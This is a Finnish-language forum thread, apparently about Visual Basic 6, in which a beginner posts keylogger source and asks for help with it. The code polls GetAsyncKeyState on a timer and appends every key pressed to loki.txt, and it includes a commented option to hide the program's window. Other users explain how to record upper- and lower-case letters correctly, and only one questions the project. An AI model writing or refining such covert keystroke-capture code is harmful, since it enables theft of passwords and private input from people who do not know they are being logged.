Oisko mitään ohjelmaa jolla sais tallenettuu kaikki näppäimet jota painetaa samaan kansioon missä ite ohjelma on?Sain noilla koodeilla vaan kaiken isoks.
tällä ei kato oikein onnistunu.
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Dim Merkki As Integer Dim Sana As String Private Sub Form_Load() 'Form1.Visible = False 'piilota formi tällä jos haluat Timer1.Interval = 1 'Tämä täytyy kalibroida koneen mukaan '(näppäinten skannauksen välinen aika) Timer1.Enabled = True Sana = "" Merkki = 0 End Sub Private Sub Form_Unload(Cancel As Integer) Savettaa 'jos lopetetaan yllättäen talenna End Sub Private Sub Timer1_Timer() For kk = 65 To 90 'käydään läpi isot kirjaimet If GetAsyncKeyState(kk) Then pk = kk: GoTo uush Next For kk = 97 To 122 'käydään läpi pienet kirjaimet If GetAsyncKeyState(kk) Then pk = kk: GoTo uush Next For kk = 47 To 58 'käydään läpi numerot If GetAsyncKeyState(kk) Then pk = kk: GoTo uush Next If GetAsyncKeyState(32) Then pk = 32: GoTo uush 'space If GetAsyncKeyState(221) Then pk = 229: GoTo uush 'ä ei välttämättä If GetAsyncKeyState(222) Then pk = 228: GoTo uush 'ö tässä If GetAsyncKeyState(192) Then pk = 246: GoTo uush 'å järjestyksessä Exit Sub uush: Sana = Sana & Chr(pk) 'lisätään sanaan merkki Merkki = Merkki + 1 'lisätään merkkilaskuriin 1 If Merkki >= 1 Then Savettaa 'jos 50 kirjainta kirjoitettu savettaa 'kannattaa muuttaa omien tarpeiden mukaan (50 merkkiä) End Sub Sub Savettaa() 'Tallentaa kun 50 merkkiä painettu Open App.Path & "\loki.txt" For Append As #1 Print #1; Sana 'tiedostoon ohjelman_polku/loki.txt tai VB:n kansio/loki.txt Close #1 Merkki = 1 Sana = "" End Sub
Katsotaas... "apuu!" on harvinaisen huono otsikko, kooditagit puuttuu ja onnistuit vielä tuplapostaamaan. Uskoakseni puhun kaikkien puolesta, kun sanon, että "ei näin".
App.Path palauttaa ohjelman hakemiston.
Edit: Niin ja siis sanoit haluavasi tallentaa vain näppäimet eikä näppäimistössä ole erikseen näppäimiä isoille ja pienille kirjaimille, joten kirjainnäppäin tallenetaan ison kirjaimen ASCII-koodina. Voit tietysti tutkia, onko Shift pohjassa tai Caps Lock päällä ja tallentaa sen mukaan.
niin mutta vaikka en painaisi shiftiä tai caps lock ei olisi päällä kaikki luotellaan isoksi (VB 6 käytössä)
Niinhän minä äsken sanoinkin. Tarkoitin, että sinun on tehtävä se tarkistus itse, koska GetAsyncKeyState palauttaa vain näppäimen, eikä tekstiä.
miten saisin sen palauttamaan tekstiä?
Oikeesti tää on tärkeetä.
Et mitenkään. Se palauttaa vain näppäimen tilan. Painetuista näppäimistä voit itse päätellä, minkälaista tekstiä tulee.
Esim. Jos painetaan Shiftiä ja A:ta niin siitä tulee iso A (paitsi jos Caps Lock on päällä).
se sitten olisi vaikeaa jos laittaisin 100 kirjainta pitkää tekstiä ja siinä olisi isoja ja pieniä kirjaimia.
Kuinka niin vaikeaa? Kerranhan se tarkistus vain tarvitsee koodata niin se tekee sen jokaiselle kirjainnäppäimelle.
mites se muka koodataan?
Kato mä oon vast alottanu.
Kannattaisiko vähän harkita mitä lähtee tekemään. Jos vasta veepeellä alotit niin herramunjee miks ihmeessä tollanen tekele. Perusteet kuntoon ja sit matkaan.
Jos Shift on pohjassa, niin sitten tallennat ison kirjaimen. Jos ei ole, niin tallennat pienen kirjaimen. Voit käyttää kirjaimen koon muuttamiseen LCase-funktiota.
Tämä on kyllä tosiaan aloittelijalle ehkä vähän liian vaativa asia. Jos ei ota onnistuakseen, niin aloita jollain helpommalla.
Aihe on jo aika vanha, joten et voi enää vastata siihen.